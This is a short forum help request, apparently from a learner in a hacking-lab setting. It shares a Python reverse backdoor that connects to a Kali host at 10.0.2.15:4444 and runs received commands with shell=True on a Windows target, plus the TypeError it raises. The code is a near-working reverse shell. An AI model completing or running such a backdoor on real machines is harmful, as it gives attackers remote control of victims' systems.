Hello,
I am having problem with executing command remotely. My kali connection works fine and I am able to establish connection but as soon as I type a command I get an error on the Windows target machine.
This is the reverse backdoor code I run on the target machine:
#!/usr/bin/env python
import socket
import subprocess
def execute_system_command(command):
subprocess.check_output(command, shell=True)
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("10.0.2.15", 4444))
while True:
command = connection.recv(1024)
command_result = execute_system_command(command)
connection.send(command_result)
connection.close()
and this is the error I get:
C:\Users\IEUser\Python>C:\Python27\python.exe reverse_backdoor.py
Traceback (most recent call last):
File "reverse_backdoor.py", line 15, in <module>
connection.send(command_result)
TypeError: send() argument 1 must be string or buffer, not None
I tried to Google a solution but I could not solve it.
Thanks